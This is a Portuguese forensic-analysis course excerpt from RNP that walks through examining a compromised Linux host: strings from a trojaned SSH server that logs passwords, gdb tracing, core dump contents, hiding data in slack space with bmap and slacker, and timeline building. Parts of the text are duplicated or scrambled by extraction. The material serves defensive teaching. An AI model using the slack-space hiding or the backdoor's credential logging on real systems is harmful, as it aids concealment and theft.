Análise de executáveis Uma procura por strings dentro do executável pode fornecer informações muito úteis: # strings -a ‘/data/compromised/smbd –D’ /lib/ld-linux.so.2 libcrypt.so.1 /usr/include//iceconf.h By-ICE_4_All ( Hackers Not Allowed! ) sshd version %.100s [%.100s] Bind to port %d failed: %.200s. Server listening on port %d. Connection from %.100s port %d SSH-%d.%d-%.50s Your ssh version is too old and is no longer supported. install a newer version. +-[ User Login Incoming ]----------- --- --- - | username: %s password: %s%s hostname: %s ROOT LOGIN as '%.100s' from %.100s
Please
/usr/include//icekey.h /usr/include//iceseed.h
# strings -a ‘/data/compromised/smbd –D’8 /lib/ld-linux.so.2 libcrypt.so.1 /usr/include//iceconf.h By-ICE_4_All ( Hackers Not Allowed! ) sshd version %.100s [%.100s] Bind to port %d failed: %.200s. Server listening on port %d. Connection from %.100s port %d SSH-%d.%d-%.50s Your ssh version is too old and is no longer suppor ted. Please install a newer version. +-[ User Login Incoming ]----------- --- --- - | username: %s password: %s%s hostname: %s ROOT LOGIN as ‘%.100s’ from %.100s /usr/include//icekey.h /usr/include//iceseed.h
As strings acima foram resumidas e mostram apenas algumas partes mais importantes. Podemos ver referências a arquivos dentro do diretório /usr/include, e mensagens sobre o autor da ferramenta. Também podemos ver que trata-se de um servidor SSH, possivelmente modificado pelo hacker. Além disso, vemos um texto que parece ser parte de um log (user login incoming), possivelmente um log adicional que a ferramenta gera além do log normal do SSH. No fim, mais referências a arquivos no /usr/lib.
Análise de executáveis Podemos ver indicações de possíveis arquivos para procurar no disco: # ls -li /mnt/image/usr/include/ice* 92015 -rw-r--r-- 1 root root 692 May 16 2003 /mnt/image/usr/include/iceconf.h 91850 -rw------- 1 root root 539 May 24 2002 /mnt/image/usr/include/icekey.h 3176 -rw-r--r-- 1 root root 5 Aug 10 2003 /mnt/image/usr/include/icepid.h 92007 -rw------- 1 root root 512 Aug 10 2003 /mnt/image/usr/include/iceseed.h # file /mnt/image/usr/include/ice* /mnt/image/usr/include/iceconf.h: ASCII text /mnt/image/usr/include/icekey.h: data /mnt/image/usr/include/icepid.h: ASCII text /mnt/image/usr/include/iceseed.h: data
Podemos ver na saída das strings informações que sugerem que o arquivo é um servidor SSH. Podemos até mesmo ver indicações de possíveis arquivos para procurar no disco: # ls -li /mnt/image/usr/include/ice*8 92015 -rw-r--r-- 1 root root 692 May mage/usr/include/iceconf.h 91850 -rw------- 1 root root 539 May mage/usr/include/icekey.h 3176 -rw-r--r-- 1 root root 5 Aug 10 e/usr/include/icepid.h 92007 -rw------- 1 root root 512 Aug mage/usr/include/iceseed.h
16 2003 /mnt/i 24 2002 /mnt/i 2003 /mnt/imag 10 2003 /mnt/i
# file /mnt/image/usr/include/ice*8 /mnt/image/usr/include/iceconf.h: ASCII text /mnt/image/usr/include/icekey.h: data /mnt/image/usr/include/icepid.h: ASCII text /mnt/image/usr/include/iceseed.h: data
Os arquivos ainda estão presentes no disco e, de acordo com o comando file, contêm texto e dados binários. Algumas vezes, a análise de executáveis pode ser facilitada se encontramos mais evidências no disco para apoiar a análise.
Análise forense – Sessão de aprendizagem 6
103
Examinando um dos arquivos de texto, vemos que realmente é um arquivo de configuração de servidor SSH:
Análise de executáveis Arquivo de configuração de servidor SSH: # cat /mnt/image/usr/include/iceconf.h # This is ssh server systemwide configuration file. Port 2003 ListenAddress 0.0.0.0 HostKey /usr/include//icekey.h RandomSeed /usr/include//iceseed.h ServerKeyBits 768 LoginGraceTime 600 KeyRegenerationInterval 1 PermitRootLogin yes
# cat /mnt/image/usr/include/iceconf.h8 # This is ssh server systemwide configuration file. Port 2003 ListenAddress 0.0.0.0 HostKey /usr/include//icekey.h RandomSeed /usr/include//iceseed.h ServerKeyBits 768 LoginGraceTime 600 KeyRegenerationInterval 1 PermitRootLogin yes
Um dos arquivos encontrados é realmente uma configuração de servidor SSH. Podemos ver que a porta onde este servidor escuta é a 2003, uma porta que não é comum. Seria interessante correlacionar este tipo de informação com informações de dispositivos de rede e firewall, para ver se realmente ocorreu alguma atividade nesta porta.
Análise de executáveis Chave privada do servidor com identificação do usuário que a gerou: # strings -a /mnt/image/usr/include/icekey.h SSH PRIVATE KEY FILE FORMAT 1.1 "0w: RXqU_C
[email protected]} z>'|E b9jH2 \=?0 ;d-) L=7~= (e8
Fazendo um exame de um dos arquivos de dados, obtemos a chave privada do servidor com a identificação do usuário que a gerou: # strings -a /mnt/image/usr/include/icekey.h8 SSH PRIVATE KEY FILE FORMAT 1.1 “0w: RXqU_C
[email protected]} z>’|E b9jH2 \=?0 ;d-) L=7~= (e8
Quando um servidor SSH é instalado, precisa de uma chave privativa para funcionar. A chave é gerada de acordo com usuário e host, e neste caso podemos ver que a informação ficou gravada no arquivo e pode dar indicações de onde o hacker esteve antes de invadir o sistema.
Recuperação e análise de evidências (parte 2)
104
Escola Superior de Redes RNP
Análise do código
Análise do código Após conseguir o máximo de informações sobre o programa, o analista realiza a engenharia reversa do programa. Realizar a engenharia reversa significa transformar o código de máquina novamente em código-fonte, para analisar as funções do programa. Pode revelar funções obscuras do programa. Este conhecimento pode ser útil para evitar novas invasões ou para eliminar as que ainda existem.
Somente depois de conseguir o máximo de informações possíveis sobre o programa (lembre-se de usar o Google), é que o analista deve tentar realizar a engenharia reversa do programa.
Realizar a engenharia reversa de um programa significa transformar o código de máquina novamente em código-fonte, para analisar as funções do programa. Algumas vezes é necessário fazer isso para descobrir funções obscuras do programa. Por exemplo, se a ferramenta encontrada for um bot, talvez seja necessário identificar o endereço do controlador, como o invasor faz para se autenticar e controlar o bot. Este conhecimento pode ser útil para evitar novas invasões ou para eliminar as que ainda existem. Bot (do inglês robot) é um programa que permite que um invasor controle toda a máquina remotamente. Uma rede de computadores infectados com bot forma uma botnet e permite que o invasor controle centenas de computadores ao mesmo tempo, através de um servidor central conhecido como controlador da botnet. Existem diversos métodos de controle de botnet, sendo os mais comuns o IRC e o HTTP. Por isso, algumas vezes é importante realizar a análise do binário para conhecer mais sobre a ferramenta e prevenir a instituição de outras invasões.
Análise do código Diversas ferramentas fazem engenharia reversa de código: OllyDBG IDA Pro Entre outras LDasm: Ferramenta escrita em Perl, com interface gráfica para Linux Não faz parte do CD do Helix # /data/tools/LDasm0.04.53/bin/ldasm
Vamos ver uma ferramenta escrita em Perl, com interface gráfica para Linux. Chama-se LDasm, e não faz parte do CD do Helix: # /data/tools/LDasm0.04.53/bin/ldasm8
A engenharia reversa de binários é extremamente complexa, necessitando de conhecimento aprofundado de linguagens de programação e do sistema operacional do binário; normalmente é preciso dedicar muitas horas de análise para identificar as funcionalidades de um programa.
O conteúdo necessário para explicar este tipo de análise seria suficiente para outro curso com a mesma extensão deste. Não vamos nos aprofundar na realização de engenharia reversa, o que está fora dos objetivos deste curso. O aluno que tiver conhecimentos de assembler e programação poderá se aprofundar no assunto.
Análise forense – Sessão de aprendizagem 6
105
Aqui temos um exemplo do LDasm, mostrando o arquivo exemplo aberto na parte do código que faz referência às strings vistas anteriormente.
Se realmente for necessário, o investigador pode executar o programa em um ambiente controlado e isolado.
Análise do código O investigador pode executar o programa em um ambiente controlado e isolado. O primeiro passo é encontrar o ponto de início do programa: # nm /data/compromised/smbd\ -D 08054ccc T MD5Final 08054be0 T MD5Init ... 08049b84 ? _init
Conecte a estação em um hub, switch ou cabo crossover para monitorar a atividade de rede. Mesmo assim, execute o programa dentro de um depurador de código, como o GDB, OllyDBG ou IDA Pro. O primeiro passo é encontrar o ponto de início do programa: # nm /data/compromised/smbd\ -D8 08054ccc T MD5Final 08054be0 T MD5Init ... 08049b84 ? _init
Aqui ficam os avisos sobre executar o binário em um ambiente controlado e isolado. Com o comando nm, vemos as funções que o programa exporta ou importa das bibliotecas, e também a função inicial do programa, chamada logo que ele é carregado na memória. Esta é a função que devemos procurar em um depurador, para interromper o programa antes que ele execute alguma função perigosa.
Recuperação e análise de evidências (parte 2)
106
Escola Superior de Redes RNP Agora, podemos executar o programa passo a passo com o depurador:
Análise do código Executando o programa com o depurador: # /data/tools/gdb/bin/gdb /data/compromised/smbd\ -D (gdb) b * 0x08049b84 Breakpoint 1 at 0x8049b84 (gdb) run Starting program: /data/compromised/smbd -D Breakpoint 1, 0x08049b84 in _init () (gdb) stepi 0x08049b85 in _init () (gdb) bt #0 0x08049b85 in _init () #1 0xb7df3e5d in __libc_start_main () from /lib/tls/libc.so.6 #2 0x0804a501 in _start () (gdb) disassemble 0x08049b85 0x08049baa Dump of assembler code from 0x8049b85 to 0x8049baa: 0x08049b85 : mov %esp,%ebp
# /data/tools/gdb/bin/gdb /data/compromised/smbd\ -D8 (gdb) b * 0x08049b84 Breakpoint 1 at 0x8049b84 (gdb) run Starting program: /data/compromised/smbd -D Breakpoint 1, 0x08049b84 in _init () (gdb) stepi 0x08049b85 in _init () (gdb) bt #0 0x08049b85 in _init () #1 0xb7df3e5d in __libc_start_main () from /lib/ tls/libc.so.6 #2 0x0804a501 in _start () (gdb) disassemble 0x08049b85 0x08049baa Dump of assembler code from 0x8049b85 to 0x8049baa: 0x08049b85 : mov %esp,%ebp
Observamos a sessão de execução do programa dentro do depurador. Inicialmente, criamos um breakpoint, ou ponto de parada do programa, para que ele não execute totalmente. Dessa forma, o programa vai parar na função onde criamos o breakpoint. No caso, estamos criando o breakpoint na função init, como vimos anteriormente. A seguir, executamos o programa e ele pára no ponto onde marcamos. Com o comando step podemos ir avançando linha por linha do código, para saber as funções do programa. O comando bt mostra o backtrace do programa, isto é, a pilha de chamadas de funções do programa, que serve para conhecer mais sobre o fluxo do programa. O comando disassemble permite ver uma parte do código assembler do programa. Novamente, não vamos realizar aqui uma análise completa do programa, pois isso levaria muito tempo.
Análise forense – Sessão de aprendizagem 6
107
Análise de core dump
Análise de core dump Arquivos de core dump podem fornecer boas pistas sobre o invasor Gerados quando algum programa executa uma operação ilegal e é encerrado pelo sistema Gerados quando algum programa executado não foi terminado corretamente Armazenam uma cópia da memória do programa no momento em que ocorreu a falha Guardam todas as informações sobre o arquivo que o gerou, para que o programador possa descobrir o que causou o erro.
Outros exemplos de evidências que podem nos dar boas pistas sobre o invasor são os arquivos de core dump. Estes arquivos são gerados quando algum programa executa uma operação ilegal e é encerrado pelo sistema.
Os arquivos de core dump são gerados quando algum programa executado não foi terminado corretamente, devido a um erro grave como falta de memória, acesso indevido ou erros de programação. São importantes porque armazenam uma cópia da memória do programa no momento em que ocorreu a falha, e guardam todas as informações sobre o arquivo que o gerou, para que o programador possa descobrir o que causou o erro. Isto é muito útil para o analista forense, pois podemos descobrir informações sobre o programa executado e sobre quem o executou.
Análise de core dump Examinando o arquivo /data/compromised/smbd-D.core, podemos encontrar informações interessantes sobre o programa: # strings -a /data/compromised/smbd-D.core smbd -D /data/compromised/smbd -D Linux Helix /data/compromised/smbd –D SSH_CLIENT=192.168.47.1 4062 22 USER=root PWD=/root LOGNAME=root SSH_CONNECTION=192.168.47.1 4062 192.168.47.129 22
Análise de core dump Um arquivo core dump tem algumas informações importantes sobre a ferramenta que o gerou: Nome original do executável Nome do usuário que executou o programa Cópia das variáveis de ambiente no momento da execução Possivelmente informações sobre a conexão SSH do invasor (variável $SSH_CLIENT) Informações sobre o que causou o fim prematuro do programa e a geração do core dump Se tivermos o binário original, podemos utilizar o gdb para examinar o arquivo de core dump juntamente com o binário e descobrir o que aconteceu no momento da falha
Recuperação e análise de evidências (parte 2)
Vamos utilizar como exemplo o arquivo /data/compromised/smbd-D.core. Examinando este arquivo, podemos encontrar informações interessantes sobre o programa: # strings -a /data/compromised/smbd-D.core8 smbd -D /data/compromised/smbd -D Linux Helix /data/compromised/smbd –D SSH_CLIENT=192.168.47.1 4062 22 USER=root PWD=/root LOGNAME=root SSH_CONNECTION=192.168.47.1 4062 192.168.47.129 22
Podemos ver na saída do comando strings algumas informações sobre o arquivo que gerou o core. Neste caso, o comando foi o mesmo que utilizamos como exemplo. Podemos observar o nome do sistema operacional e diversas variáveis de ambiente que permitem identificar o usuário que rodou o programa e o diretório onde ele estava, além das variáveis do SSH que permitem identificar de onde o invasor estava conectado no momento em que o arquivo foi gerado.
108
Escola Superior de Redes RNP
Slack space
Slack space A busca por arquivos deixados pelo invasor pode ser demorada, exigindo paciência e dedicação. O que acontece quando a evidência que procuramos foi escondida intencionalmente, de forma que não seja possível encontrá-la com as ferramentas que vimos até agora? Existem técnicas para esconder a informação, através das quais o dado escondido não pode ser identificado mesmo que se tenha acesso ao arquivo onde está armazenado. Um exemplo é a técnica chamada de Esteganografia.
A busca por arquivos deixados pelo invasor ou partes de arquivos, evidências de acesso ou timestamps das atividades pode ser demorada, exigindo paciência e dedicação. O que acontece quando a evidência que procuramos foi escondida intencionalmente, de forma que não seja possível encontrá-la com as ferramentas que vimos até agora?
Existem técnicas para esconder a informação, em que o dado escondido não pode ser identificado mesmo que se tenha acesso ao arquivo onde está armazenado. Um exemplo é a técnica chamada de Esteganografia. Com ela, alguém pode esconder determinada informação dentro de outra informação, de forma que não é possível separar os dados de uma e de outra. Dessa forma, se você tiver acesso à informação utilizada para esconder o dado original, não saberá que este dado está ali.
Slack space Vimos que quando um arquivo tem um tamanho menor que o tamanho do bloco, o espaço restante é desperdiçado. Este espaço é conhecido como slack space. O slack space é usado como técnica para esconder informação. Os blocos de dados são as menores estruturas possíveis em um sistema de arquivos. Bloco de dados
dados do arquivo
slack space
Isto acontece porque cada bloco pode estar alocado por apenas um inode de cada vez, e cada inode está associado a um único arquivo.
Slack space
Normalmente, este espaço é desperdiçado pelo sistema operacional. Se um sistema de arquivos tiver um tamanho de bloco incompatível com o tipo de arquivo que normalmente é armazenado nele, vai haver muito desperdício de espaço. Por exemplo, suponha que o sistema de arquivos foi formatado com blocos de 32 kb de tamanho. Isto poderia ser interessante em um sistema que gravasse arquivos grandes, pois o tamanho maior de bloco faria com que as operações de leitura e escrita fossem mais rápidas. Mas em um sistema que possua arquivos pequenos, com menos de 32 Kb, cada arquivo gravado em disco ocuparia somente um único bloco, mas não o bloco inteiro.
Vimos que quando um arquivo tem um tamanho menor que o Assim, se do vocêbloco, gravar 100 arquivos de 1 kb neste ocuparia 3200Este kb (100 tamanho o espaço restante é disco, desperdiçado. * 32 kb) em vez de 100 kb (100 * 1kb), como seria de se esperar. A razão disto espaço é conhecido como slack space. é que cada bloco pode estar alocado em apenas um inode de cada vez, e cada único arquivo. O inode slackassociado space aéum usado como técnica para esconder informação. Qualquer sistema de arquivos, com qualquer tamanho de bloco, está sujeito a Osesse blocos dados são as menores estruturas tipo dede desperdício, pois dificilmente os arquivos terão umpossíveis tamanho numem múltiplo de do tamanho do bloco. umvalor sistema arquivos. Bloco de dados
dados do arquivo
slack space
Isto acontece porque cada bloco pode estar alocado por apenas um inode de cada vez, e cada inode está associado a um único arquivo.
Análise forense – Sessão de aprendizagem 6
109
Exemplo:
Slack space
# du -sb /data/dirt_list.txt8 Exemplo: # du -sb /data/dirt_list.txt 60 /data/dirt_list.txt # du -sk /data/dirt_list.txt 4 /data/dirt_list.txt
Mas o que isso tem a ver com esconder informação? Contando que este espaço desperdiçado sempre vai existir, foram desenvolvidas ferramentas para esconder informações nele. O bmap é uma ferramenta para esconder dados no slack space de qualquer arquivo, ou até mesmo em um diretório inteiro, e depois recuperar essas informações quando for necessário.
60 /data/dirt_list.txt # du -sk /data/dirt_list.txt8 4 /data/dirt_list.txt
No exemplo, o arquivo tem 60 bytes, o que mostra o primeiro comando. O segundo comando, ao mostrar o tamanho em kb, informa que o arquivo tem 4 kb, pois este é o espaço que ele ocupa em disco, contando o slack space. O arquivo ocupa um bloco inteiro, apesar de só utilizar 60 bytes deste bloco para seus dados.
Este espaço extra pode ser utilizado para esconder informação. Como os dados do arquivo não são modificados, sua assinatura SHA1 não é modificada, e como não há nenhuma referência aos dados que estão neste espaço extra, o sistema operacional nunca sabe que ele existe. É possível até mesmo utilizar todos os arquivos de um diretório para armazenar um dado, se este tiver um tamanho maior do que o que caberia em um único slack space de um bloco. Vejamos alguns exemplos:
Slack space
# bmap --mode slackbytes /data/dirt_list.txt8 Exemplos: # bmap --mode slackbytes /data/dirt_list.txt 4036 # cat /data/badfiles_hashs.sha1 | bmap --mode putslack /data/dirt_list.txt stuffing block 1540604 file size was: 60 slack size: 4036 block size: 4096 # bmap --mode slack /data/dirt_list.txt getting from block 1540604 8bc99cf58caca6e4c1c5d8eca5c59ecc01d4cc9f /bin/chmod 44bb98736c677c1c86d4fc984e66002fff9fccf5 /bin/echo
4036 # cat /data/badfiles_hashs.sha1 | bmap --mode putsla ck /data/dirt_list.txt8 stuffing block 1540604 file size was: 60 slack size: 4036 block size: 4096 # bmap --mode slack /data/dirt_list.txt8 getting from block 1540604 8bc99cf58caca6e4c1c5d8eca5c59ecc01d4cc9f /bin/chmod 44bb98736c677c1c86d4fc984e66002fff9fccf5 /bin/echo
No primeiro exemplo, checamos o espaço disponível no slack space de um arquivo. A seguir, escondemos um dado neste espaço. Veja que o programa bmap recebe os dados que vão ser gravados no slack space através do STDIN, e o arquivo especificado no comando é o arquivo onde vai ser gravada a informação. O último comando mostra como recuperar uma informação no slack space.
Recuperação e análise de evidências (parte 2)
110
Escola Superior de Redes RNP Vejamos alguns exemplos:
Slack space
# dcat /dev/sda5 1540604 | hexdump -C8 Vejamos alguns exemplos: # dcat /dev/sda5 1540604 00000000 74 74 79 6f 70 |ttyop.ttyoa.ttyo| 00000010 66 0a 68 64 78 |f.hdx1.hdx2.sshd| 00000020 20 76 65 72 73 ve| 00000020 20 76 65 72 73 ve| 00000030 72 73 69 6f 6e |rsion.\w@\w.8bc9|
| hexdump -C 0a 74 74 79 6f 61 0a 74 74 79 6f 31 0a 68
64 78 32 0a 73 73 68 64
69 6f 6e
0a 42 61 73 68 20 76 65
| version.Bash
69 6f 6e
0a 42 61 73 68 20 76 65
| version.Bash
0a 5c 77
40 5c 77 0a 38 62 63 39
# ls -l /data/dirt_list.txt -rw-r--r-- 1 root root 60 Jan
6 17:24 /data/dirt_list.txt
# cat /data/compromised/smbd-D.core | slacker --mode fill
00000000 74 74 79 6f 70 0a 79 6f |ttyop.ttyoa.ttyo| 00000010 66 0a 68 64 78 31 68 64 |f.hdx1.hdx2.sshd| 00000020 20 76 65 72 73 69 76 65 | version.Bash ve| 00000020 20 76 65 72 73 69 76 65 | version.Bash ve| 00000030 72 73 69 6f 6e 0a 63 39 |rsion.\w@\w.8bc9|
74 74 79 6f 61 0a 74 74 0a 68 64 78 32 0a 73 73 6f 6e 0a 42 61 73 68 20 6f 6e 0a 42 61 73 68 20 5c 77 40 5c 77 0a 38 62
/data/tools
# slacker --mode pour /data/tools > /tmp/test.dat
# ls -l /data/dirt_list.txt8 -rw-r--r-- 1 root root 60 Jan 6 17:24 /data/dirt_li st.txt # cat /data/compromised/smbd-D.core | slacker --mode fill /data/tools8 # slacker --mode pour /data/tools > /tmp/test.dat8
Somente para verificar o funcionamento, lemos com o dcat o bloco de dados onde a informação foi escondida, e notamos que os 60 bytes iniciais, marcados em negrito, são do arquivo original, enquanto o restante faz parte do arquivo que foi escondido. Normalmente, em um bloco sem informação escondida existiriam somente bytes 0x00 nestas posições ou restos de arquivos anteriores e dos buffers de gravação na memória. Os dois últimos exemplos mostram a ferramenta slacker, que permite gravar uma informação em mais de um arquivo. Ela funciona da seguinte forma: lista o slack space em cada arquivo do diretório passado como parâmetro, e grava um pedaço da informação em cada arquivo até terminar o dado. O último comando mostra como recuperar o arquivo deste diretório. Como não é possível saber onde a informação acaba, o comando acima vai ler o slack space de todos os blocos no diretório, mesmo que eles não tenham sido usados para gravar a informação original; por isso, para recuperar o arquivo original é necessário saber o tamanho total do arquivo, e separar esses bytes de dentro do arquivo /tmp/test.dat.
Slack space Nenhuma ferramenta que verifique a integridade do sistema vai acusar a presença destes dados. Se o arquivo for apagado o bloco de dados pode ser alocado em outro arquivo e a informação no slack space pode ser sobrescrita. O mesmo acontece se o arquivo que utilizamos para armazenar a informação aumentar de tamanho. Por isso, esta informação é considerada volátil. Existem ferramentas que permitem criar um sistema de arquivos completo dentro do slack space de um diretório.
Análise forense – Sessão de aprendizagem 6
Como não modificamos o conteúdo do arquivo, mas somente do espaço desperdiçado, nenhuma ferramenta que verifique a integridade do sistema vai acusar a presença destes dados. Como o espaço utilizado para armazenar os dados é o espaço desperdiçado em um bloco, se o arquivo for apagado o bloco de dados pode ser alocado em outro arquivo e a informação no slack space pode ser sobrescrita.
111
O mesmo acontece se o arquivo que utilizamos para armazenar a informação aumentar de tamanho. Por isso, esta informação é considerada volátil. Mesmo assim, existem ferramentas que permitem criar até mesmo um sistema de arquivos completo dentro do slack space de um diretório.
Conclusões Apenas recuperar arquivos apagados pode não ser suficiente Em alguns casos, precisamos nos aprofundar nas provas, e descobrir as funcionalidades de um executável desconhecido Podemos descobrir informações sobre o programa com ferramentas básicas ou realizar uma análise avançada, fazendo a engenharia reversa do código ou executando o programa em ambiente controlado A análise do conteúdo de arquivos core dump pode fornecer informações sobre o invasor e a ferramenta Precisamos procurar até mesmo onde nem imaginamos haver informação, como no slack space dos blocos de disco
Recuperação e análise de evidências (parte 2)
Conclusões Na próxima sessão reuniremos todas as evidências encontradas para correlacioná-las em uma linha de tempo. Com isso, vamos tentar descobrir como e quando o ataque ocorreu e identificar o que foi feito na máquina após a invasão. Esta informação será útil para que a empresa se proteja de ataques futuros.
Escola Superior de Redes RNP
Análise forense – Sessão de aprendizagem 6
112
6 Sessão de aprendizagem 6 Recuperação e análise de evidências (parte 2) Roteiro de atividades Tópicos e conceitos \\Investigação
do conteúdo dos arquivos e descoberta de ferramentas necessárias para pesquisas avançadas.
Competências técnicas desenvolvidas \\Utilização
de comandos que fazem análise do conteúdo de arquivos.
Outras competências desenvolvidas \\Capacidade
de investigação e pesquisa do aluno.
Tempo previsto para as atividades \\90-120
minutos
Escola Superior de Redes RNP
114
Atividade 1 – Análise do conteúdo do arquivo 1. Um dos arquivos encontrados na sessão passada continha uma série de ferramentas instaladas na máquina pelo invasor. Além disso, o pacote continha cópias de binários comumente encontrados na máquina. Examine os arquivos ifconfig, ls, netstat, ps e syslogd e faça um relatório resumindo o que você acha que estes programas fazem. Utilize as técnicas vistas durante a sessão, mas não é necessário realizar a engenharia reversa do código (faça apenas se achar que consegue). A atividade deve ser feita em dupla. 2. Outro arquivo que existe nesse pacote é um arquivo de core-dump. Analise este arquivo e faça um relatório com as informações que encontrar. O que você pode dizer sobre o usuário que gerou esse arquivo?
Atividade 2 – Busca de ferramentas na internet
Procure na internet mais informações sobre o uso do Slack Space em sistemas de arquivos. Quais restrições existem para usar o Slack Space? Para quais sistemas de arquivos existem ferramentas para usar este espaço? Faça um relatório sobre o que encontrar, incluindo descrições breves das ferramentas e de como elas funcionam.
Análise forense – Sessão de aprendizagem 6
7 Sessão de aprendizagem 7 Linha de tempo e reconstrução do ataque Sumário da sessão Linha de tempo. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116 Ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116 Correlação de informações. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 Reconstrução do ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121 Atividade 1 – Determinando a linha do tempo. . . . . . . . . . . . . . . . . . . . . . . . . 122 Atividade 2 – Identificando os eventos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122
116
Escola Superior de Redes RNP
Linha de tempo
Linha de tempo p Obj ti Objetivo Criar um histórico das ações e eventos encontrados no sistema comprometido de forma a identificar quando comprometido, q ando e como ocorreu ocorre a invasão, dando uma visão clara do ataque e dos métodos utilizados pelo invasor para invadir e tomar o controle do sistema.
Problemas
A linha de tempo é útil para que a instituição se proteja de futuros ataques, pois permite estudar o modo de operação dos invasores e ajudar a melhorar as defesas da instituição.
Além da correlação com fontes externas, o investigador pode detectar inconsistências em alguma evidência se correlacionar diversas informações sobre a mesma através de fontes diferentes. Por exemplo, se um log tem informações gravadas em determinada data e horário, mas o inode que armazena este log indica que o conteúdo do arquivo foi modificado em um horário anterior a esta informação do log, provavelmente o log foi comprometido, pois existe inconsistência entre as informações. No mínimo, o log não deve mais ser confiável.
As informações coletadas em um sistema comprometido não são confiáveis, e por isso é importante o analista correlacionar as informações obtidas na máquina com outras fontes, tais como logs de roteadores e firewalls, servidores de e-mail e de arquivos e informações obtidas em entrevistas com potenciais suspeitos.
Linha de tempo p Para criar P i uma linha li h d de ttempo, o analista li t d deve: Descobrir quando a máquina foi instalada ou iniciada Descobrir quando a máquina foi identificada como invadida, e o horário em qque começou ç a atividade de análise forense e de contenção do ataque Obter informações do momento em que a máquina foi efetivamente desligada Registrar informações de tempo das evidências coletadas
Ferramentas O analista deve utilizar as ferramentas para coletar informações sobre as evidências encontradas: #istat/data/compromised/compromised_hda1.img30578 inode:30578 Allocated Group:2 uid/gid:0/0 mode:ŞrwŞrŞŞrŞŞ i 228 size:228 numoflinks:1 InodeTimes: Accessed:SunAug1016:26:182003 FileModified:WedAug612:09:172003 InodeModified:WedAug612:09:172003 DirectBlocks: 71142
Análise forense – Sessão de aprendizagem 7
Exemplo: para definir quando uma máquina foi iniciada ou instalada, podemos utilizar evidências como a data de acesso ou a criação de arquivos que somente são acessados ou criados durante o boot ou instalação, como os arquivos do /boot ou o arquivo /sbin/init, embora este último possa ter sido modificado por um rootkit. A definição dos horários em que a máquina foi invadida pode vir de fontes externas, como entrevistas com suspeitos ou responsáveis pela máquina e também pelo registro da tela do computador, como no caso do nosso exemplo.
Ferramentas O analista deve utilizar as ferramentas vistas anteriormente para coletar informações de tempo das evidências encontradas: # istat /data/compromised/compromised_hda1.img 305788 inode: 30578 Allocated Group: 2 uid / gid: 0 / 0 mode: -rw-r--r-size: 228 num of links: 1 Inode Times: Accessed: Sun Aug 10 16:26:18 2003 File Modified: Wed Aug 6 12:09:17 2003 Inode Modified: Wed Aug 6 12:09:17 2003 Direct Blocks: 71142
117
No exemplo acima examinamos o conteúdo do inode que armazena o arquivo /etc/ issue, criado quando a máquina é iniciada. Ele é acessado sempre que ocorre um login no sistema localmente ou remotamente por telnet ou ssh. Verificamos este acesso às 16:26:18, e a criação do arquivo no dia 6 de agosto, às 12:09.
Ferramentas Algumas ferramentas podem facilitar o trabalho de coleta de informações: # fls -alrp -m / -z PDT /data/compromised/compromised_hda1.img | mactime -g /mnt/image/etc/group -p /mnt/image/etc/passwd > /data/compromised/compromised_hda1.img Sun Sep 25 1983 18:45:00 48856 m.. -/-rwxr-xr-x root root 92017 /usr/bin/top 8268 m.. -/-rwx------ root root 92010 /usr/bin/sl2 4060 m.. -/-rwxr-xr-x root root 92009 /usr/bin/sense Sun Aug 10 2003 14:33:19 36692 .a. -/-rwxr-xr-x root root 92022 /bin/ls 8268 .a. -/-rwx------ root root 92010 /usr/bin/sl2 2 .a. -/-rw-r--r-- root root 92023 /usr/lib/libsss
# fls -alrp -m / -z PDT /data/compromised/compromise d_hda1.img | mactime -g /mnt/image/etc/group -p /mnt/image/etc/passwd > /data/compromised/ compromised_hda1.img8 Sun Sep 25 1983 18:45:00 48856 m.. -/-rwxr-xr-x roo t root 92017 /usr/bin/top 8268 m.. -/-rwx------ root root 92010 /usr/bin/sl2 4060 m.. -/-rwxr-xr-x root root 92009 /usr/bin/sense Sun Aug 10 2003 14:33:19 36692 .a. -/-rwxr-xr-x roo t root 92022 /bin/ls 8268 .a. -/-rwx------ root root 92010 /usr/bin/sl2 2 .a. -/-rw-r--r-- root root 92023 /usr/lib/libsss
O comando acima cria o arquivo de linha de tempo de toda atividade de disco da imagem analisada. Podemos ver abaixo alguns exemplos de atividade. No dia 25 de setembro de 1983, às 18:45:00, ocorreu uma atividade de modificação de conteúdo (vide m.. na listagem) em três arquivos. Sendo ela anterior à instalação do sistema, podemos imaginar que estes arquivos estavam dentro de um arquivo TAR e foram descompactados no sistema. Podemos ver adiante uma atividade de acesso a outros arquivos (.a. na listagem) indicando que os mesmos foram lidos ou executados. O outro campo na coluna de atividade indica mudança no inode do arquivo (..c) e pode indicar quando o arquivo foi criado ou apagado, mas também quando as informações sobre o arquivo foram alteradas: troca de dono do arquivo, troca de atributos etc.
Correlação de informações
Correlação ç de informações ç Informações coletadas na máquina precisam ser correlacionadas com fontes externas: Logs de firewall Logs de roteadores Logs de servidores de e-mail e mail Entrevistas com suspeitos Descrições e documentação na internet As informações de datas devem estar sempre com o mesmo timezone para evitar inconsistências. inconsistências É importante que as máquinas estejam com os horários sempre corretos, de preferência atualizados pelo serviço NTP.
É importante lembrar das configurações de timezone da máquina invadida e da estação forense do investigador, e sempre correlacionar logs externos levando em conta as diferenças de timezone.
Por exemplo, o timezone da máquina está configurado para PDT (Pacific Daylight Time, ou GMT-8) e o da estação forense para MST (Mountain Standard Time, padrão do Helix, ou GMT-8). O timezone oficial no Brasil é GMT-3 ou GMT-2 durante o horário de verão, e isto deve ser levado em consideração quando o investigador for analisar evidências em uma máquina com timezone diferente daquele da máquina investigada.
Linha de tempo e reconstrução do ataque
118
Escola Superior de Redes RNP
Sun Aug 10 2003 16:30:30 0 mac -/---------- root ro ot 35804 /dev/hdx1 0 mac -/---------- root root 3 5833 /dev/hdx2
